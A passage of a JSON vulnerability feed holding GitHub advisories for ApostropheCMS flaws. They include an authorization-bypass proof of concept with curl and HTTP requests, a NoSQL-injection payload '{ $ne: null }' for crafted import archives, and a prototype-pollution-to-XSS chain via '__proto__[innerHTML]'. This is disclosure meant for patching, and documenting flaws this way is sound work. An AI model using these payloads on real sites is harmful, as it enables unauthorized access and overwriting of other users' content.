(npm)","uploadfs","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://github.com/advisories/GHSA-hhph-8536-gfq5","asOf":"2026-10-20T18:20:36.000Z"},"epss":{"probability":0.00277,"percentile":0.1998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113652&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-hhph-8536-gfq5","url":"https://github.com/advisories/GHSA-hhph-8536-gfq5","type":"primary","publishedAt":"2026-10-20T18:20:35.000Z","checkedAt":"2026-10-26T15:55:55.457Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-hhph-8536-gfq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-hhph-8536-gfq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-hhph-8536-gfq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-hhph-8536-gfq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-hhph-8536-gfq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-hhph-8536-gfq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-hhph-8536-gfq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-hhph-8536-gfq5, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113652&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113652, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113660","cveId":"CVE-2026-113660","aliases":["GHSA-vmxh-77cw-65j7"],"kind":"vulnerability","title":"ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers","summary":"**Summary**\nApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.\n\nThe issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.","detail":"**Summary**\nApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.\n\nThe issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.\n\n**Details**\nExact vulnerable source path: ` packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529`\nExact API route:` POST /api/v1/@apostrophecms/i18n/exist-in-locale`\nThe handler verifies only that the requester is authenticated:\n\n```\nif (!req.user) {\n throw self.apos.error('notfound');\n}\n```\nIt then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:\n\n```\nconst found = await self.apos.doc.db.find({\n aposLocale: `${locale}:${mode}`,\n aposDocId: {\n $in: ids.map(self.apos.doc.toAposDocId)\n }\n}).project({\n _id: 1,\n aposDocId: 1\n}).toArray();\n```\nThis query does not apply:\n\n.permission('view')\n.permission('edit')\napos.permission.criteria(req, 'view')\nobject-level document authorization\nlocale-specific authorization\n\nThe endpoint accepts multiple IDs, making bulk probing possible.\n\n**Proof of Concept**\n\nThe local application was running at: http://127.0.0.1:3000\nThe test account had the low-privilege role: guest\nThe local database contained synthetic records for the restricted document base ID:\n```\nwv2l4rbaplgzkg80zkne4aoz:en:draft\nwv2l4rbaplgzkg80zkne4aoz:fr:draft\n```\nAll credentials and cookies are intentionally redacted below.\n\n```\nPOST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: \nContent-Type: application/json\nAccept: application/json\n\n{\n \"ids\": [\n \"wv2l4rbaplgzkg80zkne4aoz:en:draft\",\n \"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft\"\n ],\n \"locale\": \"fr\",\n \"mode\": \"draft\"\n}\n```\n**Equivalent command**\n```\ncurl -i -sS -X POST \\\n 'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \\\n -b /path/to/redacted-guest-cookie-jar.txt \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json' \\\n --data-raw '{\n \"ids\": [\n \"wv2l4rbaplgzkg80zkne4aoz:en:draft\",\n \"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft\"\n ],\n \"locale\": \"fr\",\n \"mode\": \"draft\"\n }'\n```\n**Observed response**\n```\nHTTP/1.1 200 OK\nX-Powered-By: Express\nContent-Type: application/json; charset=utf-8\n```\n\n```\n{\n \"originalLocaleIds\": [\n \"wv2l4rbaplgzkg80zkne4aoz:en:draft\"\n ],\n \"newLocaleIds\": [\n \"wv2l4rbaplgzkg80zkne4aoz:fr:draft\"\n ],\n \"aposDocIds\": [\n \"wv2l4rbaplgzkg80zkne4aoz\"\n ]\n}\n```\nThe nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.\n\n**Authorization control**\nUsing the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:\n\n```\nGET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: \nAccept: application/json\n\n```\n\n**Observed response:**\n```\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n```\n```\n{\n \"name\": \"forbidden\",\n \"data\": {},\n \"message\": \"forbidden\"\n}\n\n```\nThis demonstrates the authorization boundary clearly:\n\n| Request | Result |\n| ----------------------------------------------- | ----------------------------------- |\n| Normal page API for the restricted draft | `403 Forbidden` |\n| `exist-in-locale` for the same restricted draft | `200 OK` with localized document ID |\n| `exist-in-locale` for a nonexistent ID | `200 OK` with empty arrays |\n\n**Additional impact validation**\n\nThe behavior was also tested across multiple locale and mode combinations:\n\n| Query | Result |\n| ----------------------------- | ---------------------------------------------------------- |\n| `locale=fr`, `mode=draft` | Returned `wv2l4rbaplgzkg80zkne4aoz:fr:draft` |\n| `locale=fr`, `mode=published` | Returned empty arrays because no published fixture existed |\n| `locale=de`, `mode=draft` | Returned empty arrays because no German fixture existed |\n| Two IDs in one request | Existing ID returned; nonexistent ID omitted |\n\nThis confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.\n\nImpact\nA low-privilege authenticated user can:\nProbe arbitrary known or guessed document base IDs.\nDetermine whether restricted documents have localized versions.\nDetermine whether unpublished draft versions exist.\nIdentify which locales contain matching records.\nObtain exact localized document identifiers.\nSubmit multiple IDs in one request for bulk reconnaissance.\nThe issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.\n\nRecommended remediation\nBefore executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check.\nThe endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.\n\n[[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529](https://github.com/apostrophecms/apostrophe/blob/61d137f31a0de15a8eb70b7e65032e0519fc6e61/packages/apostrophe/modules/@apostrophecms/i18n/index.js#L503-L529)\n\n[[2] Official ApostropheCMS i18n API documentation](https://apostrophecms.com/docs/reference/api/i18n.html)\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.33.0","action":"GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:19:34.000Z","updatedAt":"2026-10-20T18:19:35.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-vmxh-77cw-65j7","asOf":"2026-10-20T18:19:35.000Z"},"epss":{"probability":0.00363,"percentile":0.29841,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113660&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-vmxh-77cw-65j7","url":"https://github.com/advisories/GHSA-vmxh-77cw-65j7","type":"primary","publishedAt":"2026-10-20T18:19:34.000Z","checkedAt":"2026-10-26T15:45:55.378Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-vmxh-77cw-65j7, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113660&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113660, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113662","cveId":"CVE-2026-113662","aliases":["GHSA-jqw5-w6h3-44g6"],"kind":"vulnerability","title":"ApostropheCMS import-export: NoSQL injection via update-key value lets a crafted import match and overwrite an unidentified document","summary":"`@apostrophecms/import-export`'s update-by-key feature lets an imported\ndocument carry a ` :key` property (for example `slug:key`) whose\nvalue is used to find an existing document to update instead of inserting\na new one. `getUpdateKey()`/`insertOrUpdateDocWithKey()`\n(`lib/methods/import.js`) use that value directly as a MongoDB query value\nwith no laundering:\n\n```js\nconst matchingDraftPromise = manager.findForEditing(\n req.clone({ mode: 'draft' }),\n {\n aposMode: 'draft',\n [updateField]: doc[updateKey]\n }).toObject();\n```","detail":"## Summary\n\n`@apostrophecms/import-export`'s update-by-key feature lets an imported\ndocument carry a ` :key` property (for example `slug:key`) whose\nvalue is used to find an existing document to update instead of inserting\na new one. `getUpdateKey()`/`insertOrUpdateDocWithKey()`\n(`lib/methods/import.js`) use that value directly as a MongoDB query value\nwith no laundering:\n\n```js\nconst matchingDraftPromise = manager.findForEditing(\n req.clone({ mode: 'draft' }),\n {\n aposMode: 'draft',\n [updateField]: doc[updateKey]\n }).toObject();\n```\n\nArchive documents are parsed with EJSON (see `lib/formats/gzip.js`), which\nrevives objects such as `{ $ne: null }` as live values, the same untrusted\ndata source and revival mechanism already fixed once in this module for\n`findSingletonAposDocId`/`findParkedAposDocId` in GHSA-79qf-vqgc-7xx3. That\nfix did not touch `insertOrUpdateDocWithKey`, so the identical class of bug\nsurvives here: a crafted `\"slug:key\": { \"$ne\": null }` entry in an\narchive's `aposDocs.json` makes the import match (and then update) an\nexisting document the archive's author never actually identified, instead\nof failing to find a match.\n\n## Impact\n\nReaching this requires only an authenticated session with import access to\nthe target type (the built-in contributor role holds this, matching the\nprecondition of GHSA-79qf-vqgc-7xx3), and no admin interaction. Because the\nmatch uses a MongoDB operator instead of an exact value, it is not limited\nto a document the importer already knows the identifying field of: any\nexisting document the importer has generic edit rights on and that\nsatisfies the operator (which `{ $ne: null }` trivially does for any doc\nwith a non-null value in that field) is a candidate, and Apostrophe's\n`findForEditing` permission filter, not the update-key logic, is the only\nthing narrowing which document actually gets matched and overwritten.\n\nLive-verified: a contributor-role request importing a document containing\n`\"slug:key\": { \"$ne\": null }` had its content applied to an existing,\nunrelated draft article, overwriting its title, while the importer never\nspecified that article's real slug.\n\n## Affected versions\n\nConfirmed on `main` branch HEAD as of 2026-09-04,\n`packages/import-export/lib/methods/import.js`.\n\n## Suggested fix\n\nLaunder `doc[updateKey]` to a plain string (mirroring the fix already\napplied to `type`/`aposLocale`/`parkedId` in GHSA-79qf-vqgc-7xx3) before\nusing it as a query value, and fall back to the insert path when it is not\na usable string.\n\nAffected package ranges reported by GitHub:\n@apostrophecms/import-export: < 3.7.0","action":"GitHub lists first patched versions: @apostrophecms/import-export: 3.7.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:19:19.000Z","updatedAt":"2026-10-20T18:19:20.000Z","regions":["Global"],"vendor":null,"product":"@apostrophecms/import-export","stacks":["JavaScript packages (npm)","@apostrophecms/import-export","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","sourceUrl":"https://github.com/advisories/GHSA-jqw5-w6h3-44g6","asOf":"2026-10-20T18:19:20.000Z"},"epss":{"probability":0.003,"percentile":0.22544,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113662&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jqw5-w6h3-44g6","url":"https://github.com/advisories/GHSA-jqw5-w6h3-44g6","type":"primary","publishedAt":"2026-10-20T18:19:19.000Z","checkedAt":"2026-10-26T15:45:55.378Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-jqw5-w6h3-44g6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-jqw5-w6h3-44g6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-jqw5-w6h3-44g6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-jqw5-w6h3-44g6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-jqw5-w6h3-44g6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-jqw5-w6h3-44g6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-jqw5-w6h3-44g6, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113662&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113662, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113659","cveId":"CVE-2026-113659","aliases":["GHSA-m2m5-rw3w-cwmj"],"kind":"vulnerability","title":"ApostropheCMS: Client-side Prototype Pollution in apos.http.parseQuery leading to DOM-based XSS against authenticated users","summary":"The client-side helper `apos.http.parseQuery()` in ApostropheCMS builds a nested object\nfrom a URL query string without sanitizing the keys `__proto__`, `constructor`, or\n`prototype`. Parsing an attacker-controlled query string therefore writes arbitrary\nproperties onto `Object.prototype` (client-side prototype pollution).\n\nApostropheCMS's admin UI calls this parser with `window.location.search` on **every\nauthenticated page load** (the admin context bar's `data()` initializer). Because the admin\nUI is built on Vue, a polluted, enumerable property on `Object.prototype` is then picked up\nby Vue's standard element-mount routine and written to the DOM as an element property,\nturning the prototype pollution into DOM-based XSS in the victim's authenticated session.\nThe escalation gadget is a well-known, general Vue behavior; the novel,\nreportable defect is the unsanitized `parseQuery` source together with the authenticated\ntrigger, both of which are ApostropheCMS code.","detail":"## Summary\n\nThe client-side helper `apos.http.parseQuery()` in ApostropheCMS builds a nested object\nfrom a URL query string without sanitizing the keys `__proto__`, `constructor`, or\n`prototype`. Parsing an attacker-controlled query string therefore writes arbitrary\nproperties onto `Object.prototype` (client-side prototype pollution).\n\nApostropheCMS's admin UI calls this parser with `window.location.search` on **every\nauthenticated page load** (the admin context bar's `data()` initializer). Because the admin\nUI is built on Vue, a polluted, enumerable property on `Object.prototype` is then picked up\nby Vue's standard element-mount routine and written to the DOM as an element property,\nturning the prototype pollution into DOM-based XSS in the victim's authenticated session.\nThe escalation gadget is a well-known, general Vue behavior; the novel,\nreportable defect is the unsanitized `parseQuery` source together with the authenticated\ntrigger, both of which are ApostropheCMS code.\n\nAny user who can get **any logged-in user (from the lowest-privileged `guest` role up to the highest-privileged `admin` role)** to\nopen a crafted URL can execute arbitrary JavaScript in that user's session.\n\nThis is **distinct from CVE-2026-53609** (server-side prototype pollution via\n`apos.util.set()` / `$pullAll`, fixed in 4.31.0): different side (client vs server),\ndifferent code path, and the vulnerable code here is present in the current release.\n\n## Package\n\n- **Ecosystem:** npm\n- **Package:** `apostrophe`\n- **Affected versions:** all **4.x** releases, **4.0.0 through 4.32.2** (current `latest`).\n Verified by inspecting the published npm tarballs: `apostrophe@4.0.0` already contains the\n vulnerable descent (`parentKey = 'root'`) with no `__proto__`/`constructor`/`prototype`\n filtering, and `apostrophe@4.32.2` is unchanged in this respect. The vulnerable\n `parseQuery()` logic was introduced in commit `0255086bf` (2020-11-12), well before the 4.0\n version, so **ApostropheCMS 3.x is also affected** (the same code ships in 3.x at the older\n build path `modules/@apostrophecms/util/ui/public/2-http.js`).\n- **Patched versions:** none at time of writing.\n\n## Details\n\nThe issue has three parts. Parts 1 and 2 are ApostropheCMS code and constitute the\nreportable vulnerability. Part 3 is the escalation gadget, which is standard Vue behavior\nand is included for completeness.\n\n### 1. The pollution primitive: source (ApostropheCMS)\n\n`modules/@apostrophecms/util/ui/src/http.js`, function `apos.http.parseQuery()`\n(line ~301) and its inner `patch()` (lines ~317–354):\n\n```js\nfunction patch(key, value) {\n let match;\n let parentKey = 'root';\n let context = data; // data = {} (ordinary object)\n key = decodeURIComponent(key);\n const path = key.split('[');\n path.forEach(function(subKey) {\n if (subKey === ']') {\n /* array handling */\n } else if (subKey.match(/^\\d+]/)) {\n /* numeric index handling */\n } else {\n match = subKey.replace(']', '');\n if (!context[parentKey]) { // (A) truthy check, not an own-property check\n context[parentKey] = {};\n }\n context = context[parentKey]; // (B) descends into whatever this resolves to\n parentKey = match;\n }\n });\n value = (value === null) ? value : decodeURIComponent(value);\n if (Array.isArray(context[parentKey])) {\n context[parentKey].push(value);\n } else if (context[parentKey] !== undefined) {\n context[parentKey] = [ context[parentKey], value ];\n } else {\n context[parentKey] = value; // (C) assignment onto the resolved object\n }\n}\n```\n\nNo `__proto__`, `constructor`, or `prototype` key is rejected. Walking the input\n`__proto__[x]=v`:\n\n1. Segment `__proto__`: at **(A)**, `context['__proto__']` resolves to the object's\n inherited prototype (truthy), so the `{}` initializer is skipped; at **(B)**, `context`\n becomes `Object.prototype`.\n2. Segment `x`: at **(C)**, `Object.prototype['x'] = v`.\n\nThe truthy guard at **(A)** (rather than an own-property check) is what allows the descent\ninto the inherited prototype. Because the assignment at **(C)** is an ordinary property\nwrite, the resulting `Object.prototype` property is **enumerable**,which matters for the\ngadget (3).\n\n### 2. The trigger: reached on every authenticated page load (ApostropheCMS)\n\n`modules/@apostrophecms/admin-bar/ui/apos/components/TheAposContextBar.vue`. The component's\n`data()` initializer (line ~64) runs when the admin context bar mounts (i.e. on every\nauthenticated page load), and passes the raw query string straight into the vulnerable\nparser:\n\n```js\ndata() {\n const query = apos.http.parseQuery(location.search); // (1) pollution, on mount\n const draftMode = query.aposMode || 'published';\n // ...\n}\n```\n\nThe same component's `refresh()` method (line ~606) passes `window.location.search` into\n`parseQuery()` again on admin-bar refresh events, and folds it into `doc._url`\n(re-parsed inside `apos.http.remote()`), providing additional trigger points.\n\nThe admin context bar mounts only when a session is present and the admin bundle loads, so\nnone of this executes for anonymous visitors, which is why the pollution is observed **only\nwhen logged in**. All of this is core ApostropheCMS code (`node_modules/apostrophe/...`);\nit is not introduced by any project or starter kit content.\n\n### 3. The escalation gadget: Vue element mount (framework behavior; known, not novel)\n\nThe demonstrated payload pollutes the property `innerHTML`\n(`__proto__[innerHTML]= `). The sink that consumes it is **Vue's\nstandard element-mount path**, not ApostropheCMS code. Confirmed in the bundled framework\n(`vue` / `@vue/runtime-core` / `@vue/runtime-dom` all **3.5.42**):\n\n`@vue/runtime-core` `mountElement`, prop enumeration (line ~5741):\n\n```js\nif (props) {\n for (const key in props) { // for...in walks the prototype chain\n if (key !== \"value\" && !shared.isReservedProp(key)) { // isReservedProp does NOT list innerHTML\n hostPatchProp(el, key, null, props[key], ...); // props[\"innerHTML\"] → inherited polluted value\n }\n }\n```\n\n`@vue/runtime-dom` `patchDOMProp` (line ~583)\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.33.0","action":"GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:18:49.000Z","updatedAt":"2026-10-20T18:18:52.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-m2m5-rw3w-cwmj","asOf":"2026-10-20T18:18:52.000Z"},"epss":{"probability":0.00345,"percentile":0.27759,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113659&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-m2m5-rw3w-cwmj","url":"https://github.com/advisories/GHSA-m2m5-rw3w-cwmj","type":"primary","publishedAt":"2026-10-20T18:18:49.000Z","checkedAt":"2026-10-26T15:45:55.378Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API 